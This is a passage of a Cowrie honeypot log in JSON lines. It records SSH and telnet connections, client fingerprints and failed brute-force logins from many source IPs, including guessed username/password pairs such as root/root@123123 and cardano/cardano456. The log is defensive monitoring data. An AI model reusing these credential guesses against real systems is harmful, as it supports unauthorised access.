sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:16.963329Z","src_ip":"14.55.144.22","session":"9db37d2176bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"0000","message":"login attempt [test/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:17.837397Z","src_ip":"14.55.144.22","session":"9db37d2176bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:19.047957Z","src_ip":"14.55.144.22","session":"9db37d2176bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":32956,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5094d52abac","protocol":"ssh","message":"New connection: 165.22.184.88:32956 (10.17.0.5:22) [session: d5094d52abac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:19.053226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:19.057658Z","src_ip":"165.22.184.88","session":"d5094d52abac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:19.061527Z","src_ip":"165.22.184.88","session":"d5094d52abac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password!@#$%^","message":"login attempt [root/password!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:19.074892Z","src_ip":"165.22.184.88","session":"d5094d52abac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:20.082190Z","src_ip":"165.22.184.88","session":"d5094d52abac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":38716,"dst_ip":"10.17.0.5","dst_port":22,"session":"13fe8297e940","protocol":"ssh","message":"New connection: 166.62.89.133:38716 (10.17.0.5:22) [session: 13fe8297e940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:24.231178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:24.234069Z","src_ip":"166.62.89.133","session":"13fe8297e940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:24.301541Z","src_ip":"166.62.89.133","session":"13fe8297e940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blockfilending","password":"blockfi123","message":"login attempt [blockfilending/blockfi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:24.497337Z","src_ip":"166.62.89.133","session":"13fe8297e940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:25.565155Z","src_ip":"166.62.89.133","session":"13fe8297e940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46974,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c48dc1e4883","protocol":"ssh","message":"New connection: 77.94.47.83:46974 (10.17.0.5:22) [session: 4c48dc1e4883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:38.501648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:38.505456Z","src_ip":"77.94.47.83","session":"4c48dc1e4883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:38.616435Z","src_ip":"77.94.47.83","session":"4c48dc1e4883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slacker","message":"login attempt [root/slacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:38.949264Z","src_ip":"77.94.47.83","session":"4c48dc1e4883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:40.062596Z","src_ip":"77.94.47.83","session":"4c48dc1e4883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":35908,"dst_ip":"159.203.135.109","dst_port":22,"session":"a838f14c8f02","protocol":"ssh","message":"New connection: 162.241.129.208:35908 (159.203.135.109:22) [session: a838f14c8f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:53.983916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:53.990482Z","src_ip":"162.241.129.208","session":"a838f14c8f02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:54.016676Z","src_ip":"162.241.129.208","session":"a838f14c8f02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cardano","password":"cardano456","message":"login attempt [cardano/cardano456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:54.096505Z","src_ip":"162.241.129.208","session":"a838f14c8f02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:55.125605Z","src_ip":"162.241.129.208","session":"a838f14c8f02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":34260,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb52a8d618a0","protocol":"telnet","message":"New connection: 183.91.11.226:34260 (159.203.135.109:23) [session: bb52a8d618a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:00:59.339583Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":51532,"dst_ip":"10.17.0.5","dst_port":22,"session":"53577a682490","protocol":"ssh","message":"New connection: 91.92.40.176:51532 (10.17.0.5:22) [session: 53577a682490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:03.622762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:03.627080Z","src_ip":"91.92.40.176","session":"53577a682490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:03.708444Z","src_ip":"91.92.40.176","session":"53577a682490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"anonymous","message":"login attempt [guest/anonymous] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:03.961276Z","src_ip":"91.92.40.176","session":"53577a682490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:05.045619Z","src_ip":"91.92.40.176","session":"53577a682490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.96991038322449,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:14.469457Z","src_ip":"170.64.224.25","session":"a6659df561c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":56610,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbb34e74fb63","protocol":"ssh","message":"New connection: 177.76.134.52:56610 (159.203.135.109:22) [session: dbb34e74fb63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:17.523840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:17.527447Z","src_ip":"177.76.134.52","session":"dbb34e74fb63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:17.671607Z","src_ip":"177.76.134.52","session":"dbb34e74fb63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123123","message":"login attempt [root/root@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:18.276108Z","src_ip":"177.76.134.52","session":"dbb34e74fb63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:19.420296Z","src_ip":"177.76.134.52","session":"dbb34e74fb63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":87.7871961593628,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:20.637010Z","src_ip":"94.23.66.112","session":"9d9721006bf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.663705348968506,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:35.003164Z","src_ip":"183.91.11.226","session":"bb52a8d618a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":59630,"dst_ip":"10.17.0.5","dst_port":22,"session":"0da57f54ce69","protocol":"ssh","message":"New connection: 202.61.233.105:59630 (10.17.0.5:22) [session: 0da57f54ce69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:42.209818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:42.212547Z","src_ip":"202.61.233.105","session":"0da57f54ce69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:42.353034Z","src_ip":"202.61.233.105","session":"0da57f54ce69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mkr","password":"maker2024","message":"login attempt [mkr/maker2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:42.779419Z","src_ip":"202.61.233.105","session":"0da57f54ce69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:01:43.922113Z","src_ip":"202.61.233.105","session":"0da57f54ce69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":46054,"dst_ip":"159.203.135.109","dst_port":22,"session":"7200ef5cafee","protocol":"ssh","message":"New connection: 103.27.238.116:46054 (159.203.135.109:22) [session: 7200ef5cafee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:19.373676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:02:19.377539Z","src_ip":"103.27.238.116","session":"7200ef5cafee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 